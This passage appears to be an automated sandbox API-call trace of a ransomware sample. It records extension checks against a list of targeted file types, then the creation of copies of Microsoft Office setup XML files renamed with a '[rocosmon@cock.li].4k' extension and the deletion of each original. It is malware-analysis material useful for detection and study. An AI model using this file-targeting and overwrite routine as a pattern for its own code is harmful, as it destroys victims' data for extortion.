	[0098.424] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1
	[0098.424] lstrlenW (lpString=".ppt") returned 4
	[0098.424] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.424] lstrlenW (lpString=".zip") returned 4
	[0098.424] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString=".rar") returned 4
	[0098.424] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0098.424] lstrlenW (lpString=".bz2") returned 4
	[0098.424] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0098.424] lstrlenW (lpString=".7z") returned 3
	[0098.424] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0098.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.424] lstrlenW (lpString=".dbf") returned 4
	[0098.424] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0098.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.425] lstrlenW (lpString=".1cd") returned 4
	[0098.425] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0098.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0098.425] lstrlenW (lpString=".jpg") returned 4
	[0098.425] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0098.425] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.425] lstrlenW (lpString="AccessMUISet.XML") returned 16
	[0098.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0099.138] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=819) returned 1
	[0099.138] CloseHandle (hObject=0x1e8) returned 1
	[0099.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20
	[0099.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0099.138] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.138] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0099.321] GetLastError () returned 0x0
	[0099.321] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x333, lpOverlapped=0x0) returned 1
	[0099.372] WriteFile (in: hFile=0x1d8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0099.373] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.373] WriteFile (in: hFile=0x1d8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0099.373] SetEndOfFile (hFile=0x1d8) returned 1
	[0099.373] CloseHandle (hObject=0x1d8) returned 1
	[0099.373] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.374] SetEndOfFile (hFile=0x1e8) returned 1
	[0099.374] CloseHandle (hObject=0x1e8) returned 1
	[0099.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.375] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1
	[0099.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.375] lstrlenW (lpString=".doc") returned 4
	[0099.375] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString=".docx") returned 5
	[0099.375] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0099.375] lstrlenW (lpString=".pdf") returned 4
	[0099.375] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString=".xls") returned 4
	[0099.375] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString=".xlsx") returned 5
	[0099.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0099.375] lstrlenW (lpString=".ppt") returned 4
	[0099.375] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.375] lstrlenW (lpString=".zip") returned 4
	[0099.375] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.375] lstrlenW (lpString=".rar") returned 4
	[0099.375] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString=".bz2") returned 4
	[0099.375] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.375] lstrlenW (lpString=".7z") returned 3
	[0099.375] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.375] lstrlenW (lpString=".dbf") returned 4
	[0099.376] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.376] lstrlenW (lpString=".1cd") returned 4
	[0099.376] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.376] lstrlenW (lpString=".jpg") returned 4
	[0099.376] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.376] lstrlenW (lpString=".doc") returned 4
	[0099.376] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString=".docx") returned 5
	[0099.376] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0099.376] lstrlenW (lpString=".pdf") returned 4
	[0099.376] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString=".xls") returned 4
	[0099.376] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString=".xlsx") returned 5
	[0099.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0099.376] lstrlenW (lpString=".ppt") returned 4
	[0099.376] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.376] lstrlenW (lpString=".zip") returned 4
	[0099.376] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.376] lstrlenW (lpString=".rar") returned 4
	[0099.376] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.376] lstrlenW (lpString=".bz2") returned 4
	[0099.377] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.377] lstrlenW (lpString=".7z") returned 3
	[0099.377] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.377] lstrlenW (lpString=".dbf") returned 4
	[0099.377] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.377] lstrlenW (lpString=".1cd") returned 4
	[0099.377] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0099.377] lstrlenW (lpString=".jpg") returned 4
	[0099.377] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.377] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0099.377] lstrlenW (lpString="InfoPathMUI.XML") returned 15
	[0099.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0099.378] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1231) returned 1
	[0099.378] CloseHandle (hObject=0x1e8) returned 1
	[0099.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20
	[0099.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0099.378] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.378] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.421] GetLastError () returned 0x0
	[0100.421] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x4cf, lpOverlapped=0x0) returned 1
	[0100.423] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4d0, lpOverlapped=0x0) returned 1
	[0100.424] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.424] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0100.424] SetEndOfFile (hFile=0x200) returned 1
	[0100.425] CloseHandle (hObject=0x200) returned 1
	[0100.425] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.425] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.426] CloseHandle (hObject=0x1e8) returned 1
	[0100.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1
	[0100.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.426] lstrlenW (lpString=".doc") returned 4
	[0100.426] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.426] lstrlenW (lpString=".docx") returned 5
	[0100.427] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.427] lstrlenW (lpString=".pdf") returned 4
	[0100.427] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString=".xls") returned 4
	[0100.427] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString=".xlsx") returned 5
	[0100.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.427] lstrlenW (lpString=".ppt") returned 4
	[0100.427] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.427] lstrlenW (lpString=".zip") returned 4
	[0100.427] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.427] lstrlenW (lpString=".rar") returned 4
	[0100.427] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString=".bz2") returned 4
	[0100.427] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString=".7z") returned 3
	[0100.427] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.427] lstrlenW (lpString=".dbf") returned 4
	[0100.427] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.427] lstrlenW (lpString=".1cd") returned 4
	[0100.427] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.427] lstrlenW (lpString=".jpg") returned 4
	[0100.427] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.428] lstrlenW (lpString=".doc") returned 4
	[0100.428] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString=".docx") returned 5
	[0100.428] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.428] lstrlenW (lpString=".pdf") returned 4
	[0100.428] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString=".xls") returned 4
	[0100.428] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString=".xlsx") returned 5
	[0100.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.428] lstrlenW (lpString=".ppt") returned 4
	[0100.428] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.428] lstrlenW (lpString=".zip") returned 4
	[0100.428] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.428] lstrlenW (lpString=".rar") returned 4
	[0100.428] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString=".bz2") returned 4
	[0100.428] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString=".7z") returned 3
	[0100.428] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.428] lstrlenW (lpString=".dbf") returned 4
	[0100.428] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.428] lstrlenW (lpString=".1cd") returned 4
	[0100.428] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0100.429] lstrlenW (lpString=".jpg") returned 4
	[0100.429] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.429] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.429] lstrlenW (lpString="OutlookMUI.XML") returned 14
	[0100.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.429] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3186) returned 1
	[0100.429] CloseHandle (hObject=0x1e8) returned 1
	[0100.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20
	[0100.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.431] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.431] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.433] GetLastError () returned 0x0
	[0100.433] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xc72, lpOverlapped=0x0) returned 1
	[0100.455] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xc80, lpOverlapped=0x0) returned 1
	[0100.456] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.456] WriteFile (in: hFile=0x200, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0100.456] SetEndOfFile (hFile=0x200) returned 1
	[0100.456] CloseHandle (hObject=0x200) returned 1
	[0100.456] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.456] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.457] CloseHandle (hObject=0x1e8) returned 1
	[0100.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.458] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1
	[0100.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.458] lstrlenW (lpString=".doc") returned 4
	[0100.458] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.458] lstrlenW (lpString=".docx") returned 5
	[0100.458] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.458] lstrlenW (lpString=".pdf") returned 4
	[0100.458] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString=".xls") returned 4
	[0100.459] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString=".xlsx") returned 5
	[0100.459] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.459] lstrlenW (lpString=".ppt") returned 4
	[0100.459] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0100.459] lstrlenW (lpString=".zip") returned 4
